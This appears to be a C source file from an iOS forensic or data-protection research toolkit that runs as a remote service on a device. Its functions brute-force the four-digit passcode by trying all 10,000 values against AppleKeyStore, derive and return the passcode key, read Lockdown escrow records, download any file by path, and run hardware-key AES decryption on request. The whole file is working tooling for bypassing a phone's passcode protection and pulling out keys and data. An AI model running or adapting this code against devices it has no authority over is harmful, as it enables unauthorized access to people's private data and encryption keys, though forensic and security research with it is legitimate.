282 lines
8.9 KiB
C
282 lines
8.9 KiB
C
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <CoreFoundation/CoreFoundation.h>
|
|
#include "AppleKeyStore.h"
|
|
#include "IOKit.h"
|
|
#include "IOAESAccelerator.h"
|
|
#include "registry.h"
|
|
#include "util.h"
|
|
#include "plist_server.h"
|
|
#include "remote_functions.h"
|
|
|
|
int bruteforceProgressCallback(void* ctx, int p)
|
|
{
|
|
return send_progress_message((int) ctx, p, 10000);
|
|
}
|
|
|
|
char* bruteforceWithAppleKeyStore(CFDataRef kbkeys, int (*callback)(void*,int), void* ctx)
|
|
{
|
|
uint64_t keybag_id = 0;
|
|
int i;
|
|
|
|
char* passcode = (char*) malloc(5);
|
|
memset(passcode, 0, 5);
|
|
|
|
AppleKeyStoreKeyBagInit();
|
|
AppleKeyStoreKeyBagCreateWithData(kbkeys, &keybag_id);
|
|
//printf("keybag id=%x\n", (uint32_t) keybag_id);
|
|
AppleKeyStoreKeyBagSetSystem(keybag_id);
|
|
|
|
CFDataRef data = CFDataCreateWithBytesNoCopy(0, (const UInt8*) passcode, 4, NULL);
|
|
|
|
io_connect_t conn = IOKit_getConnect("AppleKeyStore");
|
|
|
|
if (!AppleKeyStoreUnlockDevice(conn, data))
|
|
{
|
|
return passcode;
|
|
}
|
|
|
|
for(i=0; i < 10000; i++)
|
|
{
|
|
sprintf(passcode, "%04d", i);
|
|
if (callback != NULL && !(i % 10))
|
|
{
|
|
if (callback(ctx, i) == -1)
|
|
{
|
|
printf("Bruteforce abort\n");
|
|
break;
|
|
}
|
|
}
|
|
if (!AppleKeyStoreUnlockDevice(conn, data))
|
|
{
|
|
return passcode;
|
|
}
|
|
}
|
|
free(passcode);
|
|
return NULL;
|
|
}
|
|
|
|
CFDictionaryRef load_system_keybag(int socket, CFDictionaryRef dict)
|
|
{
|
|
CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag");
|
|
|
|
if (kbdict == NULL)
|
|
{
|
|
mountDataPartition("/mnt2");
|
|
|
|
kbdict = AppleKeyStore_loadKeyBag("/mnt2/keybags","systembag");
|
|
if (kbdict == NULL)
|
|
{
|
|
printf("FAILed to load keybag\n");
|
|
return NULL;
|
|
}
|
|
}
|
|
return kbdict;
|
|
}
|
|
|
|
CFDictionaryRef bruteforce_system_keybag(int socket, CFDictionaryRef dict)
|
|
{
|
|
uint8_t passcodeKey[32];
|
|
|
|
CFDataRef kbkeys = CFDictionaryGetValue(dict, CFSTR("KeyBagKeys"));
|
|
if(kbkeys == NULL || CFGetTypeID(kbkeys) != CFDataGetTypeID())
|
|
return NULL;
|
|
|
|
char* passcode = bruteforceWithAppleKeyStore(kbkeys, bruteforceProgressCallback, (void*) socket);
|
|
|
|
if (passcode == NULL)
|
|
return NULL;
|
|
|
|
KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys);
|
|
if (kb == NULL)
|
|
{
|
|
printf("FAIL: AppleKeyStore_parseBinaryKeyBag\n");
|
|
return NULL;
|
|
}
|
|
AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey);
|
|
|
|
free(kb);
|
|
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
|
CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII);
|
|
CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode);
|
|
CFRelease(cfpasscode);
|
|
|
|
addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32);
|
|
return out;
|
|
}
|
|
|
|
CFDictionaryRef keybag_get_passcode_key(int socket, CFDictionaryRef dict)
|
|
{
|
|
uint8_t passcodeKey[32];
|
|
CFDataRef passcode_cfdata = NULL;
|
|
|
|
CFDataRef kbkeys = CFDictionaryGetValue(dict, CFSTR("KeyBagKeys"));
|
|
if(kbkeys == NULL || CFGetTypeID(kbkeys) != CFDataGetTypeID())
|
|
return NULL;
|
|
|
|
KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys);
|
|
if (kb == NULL)
|
|
return NULL;
|
|
|
|
CFTypeRef cfpasscode = CFDictionaryGetValue(dict, CFSTR("passcode"));
|
|
|
|
if(cfpasscode == NULL)
|
|
return NULL;
|
|
if(CFGetTypeID(cfpasscode) == CFDataGetTypeID())
|
|
{
|
|
passcode_cfdata = cfpasscode;
|
|
}
|
|
else if(CFGetTypeID(cfpasscode) == CFStringGetTypeID())
|
|
{
|
|
passcode_cfdata = CFStringCreateExternalRepresentation(kCFAllocatorDefault, cfpasscode, kCFStringEncodingUTF8, 0);
|
|
}
|
|
else
|
|
return NULL;
|
|
|
|
AppleKeyStore_getPasscodeKey(kb,
|
|
CFDataGetBytePtr(passcode_cfdata),
|
|
CFDataGetLength(passcode_cfdata),
|
|
passcodeKey);
|
|
free(kb);
|
|
|
|
if (passcode_cfdata != cfpasscode)
|
|
CFRelease(passcode_cfdata);
|
|
|
|
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
|
CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode);
|
|
addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32);
|
|
return out;
|
|
}
|
|
|
|
CFDictionaryRef get_escrow_record(int socket, CFDictionaryRef dict)
|
|
{
|
|
CFStringRef hostid = CFDictionaryGetValue(dict, CFSTR("HostID"));
|
|
if(hostid == NULL || CFGetTypeID(hostid) != CFStringGetTypeID())
|
|
return NULL;
|
|
|
|
//TODO: check return values...
|
|
CFStringRef path = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("/mnt2/root/Library/Lockdown/escrow_records/%@.plist"), hostid);
|
|
//CFStringRef path = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("/private/var/root/Library/Lockdown/escrow_records/%@.plist"), hostid);
|
|
|
|
CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, FALSE);
|
|
CFReadStreamRef stream = CFReadStreamCreateWithFile(kCFAllocatorDefault, fileURL);
|
|
CFReadStreamOpen(stream);
|
|
CFPropertyListRef plist = CFPropertyListCreateWithStream(kCFAllocatorDefault,
|
|
stream, 0, kCFPropertyListImmutable, NULL, NULL);
|
|
|
|
CFRelease(fileURL);
|
|
CFRelease(stream);
|
|
CFRelease(path);
|
|
return plist;
|
|
}
|
|
|
|
CFDictionaryRef download_file(int socket, CFDictionaryRef dict)
|
|
{
|
|
UInt8 buffer[8192];
|
|
CFIndex bytesRead;
|
|
|
|
CFStringRef path = CFDictionaryGetValue(dict, CFSTR("Path"));
|
|
if(path == NULL || CFGetTypeID(path) != CFStringGetTypeID())
|
|
return NULL;
|
|
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
|
|
|
CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, FALSE);
|
|
CFReadStreamRef stream = CFReadStreamCreateWithFile(kCFAllocatorDefault, fileURL);
|
|
CFRelease(fileURL);
|
|
if(!CFReadStreamOpen(stream))
|
|
{
|
|
CFErrorRef error = CFReadStreamCopyError(stream);
|
|
if (error != NULL)
|
|
{
|
|
CFStringRef errorDesc = CFErrorCopyDescription(error);
|
|
CFDictionaryAddValue(out, CFSTR("Error"), errorDesc);
|
|
CFRelease(errorDesc);
|
|
CFRelease(error);
|
|
}
|
|
CFRelease(stream);
|
|
return out;
|
|
}
|
|
CFMutableDataRef data = CFDataCreateMutable(kCFAllocatorDefault, 0);
|
|
|
|
while(CFReadStreamHasBytesAvailable(stream))
|
|
{
|
|
if((bytesRead = CFReadStreamRead(stream, buffer, 8192)) <= 0)
|
|
break;
|
|
CFDataAppendBytes(data, buffer, bytesRead);
|
|
}
|
|
CFReadStreamClose(stream);
|
|
CFRelease(stream);
|
|
|
|
CFDictionaryAddValue(out, CFSTR("Data"), data);
|
|
CFRelease(data);
|
|
|
|
return out;
|
|
}
|
|
|
|
CFDictionaryRef remote_aes(int socket, CFDictionaryRef dict)
|
|
{
|
|
uint8_t* input2 = NULL;
|
|
uint32_t len = 0;
|
|
uint8_t* iv2 = NULL;
|
|
uint32_t keyMask = 0;
|
|
uint32_t mode = 0;
|
|
uint32_t bits = 0;
|
|
|
|
CFNumberRef km = CFDictionaryGetValue(dict, CFSTR("keyMask"));
|
|
if(km == NULL || CFGetTypeID(km) != CFNumberGetTypeID())
|
|
return NULL;
|
|
CFNumberGetValue(km, kCFNumberIntType, &keyMask);
|
|
|
|
CFNumberRef m = CFDictionaryGetValue(dict, CFSTR("mode"));
|
|
if(m == NULL || CFGetTypeID(m) != CFNumberGetTypeID())
|
|
return NULL;
|
|
CFNumberGetValue(m, kCFNumberIntType, &mode);
|
|
|
|
CFNumberRef b = CFDictionaryGetValue(dict, CFSTR("bits"));
|
|
if(b == NULL || CFGetTypeID(b) != CFNumberGetTypeID())
|
|
return NULL;
|
|
CFNumberGetValue(b, kCFNumberIntType, &bits);
|
|
|
|
CFDataRef input = CFDictionaryGetValue(dict, CFSTR("input"));
|
|
if(input == NULL || CFGetTypeID(input) != CFDataGetTypeID())
|
|
return NULL;
|
|
|
|
CFDataRef iv = CFDictionaryGetValue(dict, CFSTR("iv"));
|
|
if(iv != NULL)
|
|
{
|
|
if (CFGetTypeID(iv) != CFDataGetTypeID())
|
|
return NULL;
|
|
iv2 = CFDataGetBytePtr(iv);
|
|
}
|
|
len = CFDataGetLength(input);
|
|
if (len % 16 != 0)
|
|
{
|
|
return NULL;
|
|
}
|
|
input2 = malloc(len);
|
|
if (input2 == NULL)
|
|
{
|
|
return NULL;
|
|
}
|
|
|
|
memcpy(input2, CFDataGetBytePtr(input), len);
|
|
|
|
uint32_t ret = doAES(input2, input2, len, keyMask, NULL, iv2, mode, bits);
|
|
|
|
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
|
|
|
CFNumberRef retCode = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &ret);
|
|
CFDictionaryAddValue(out, CFSTR("returnCode"), retCode);
|
|
CFRelease(retCode);
|
|
|
|
if (ret == 0)
|
|
{
|
|
CFDataRef dd = CFDataCreate(kCFAllocatorDefault, input2, len);
|
|
CFDictionaryAddValue(out, CFSTR("data"), dd);
|
|
CFRelease(dd);
|
|
}
|
|
free(input2);
|
|
|
|
return out;
|
|
} |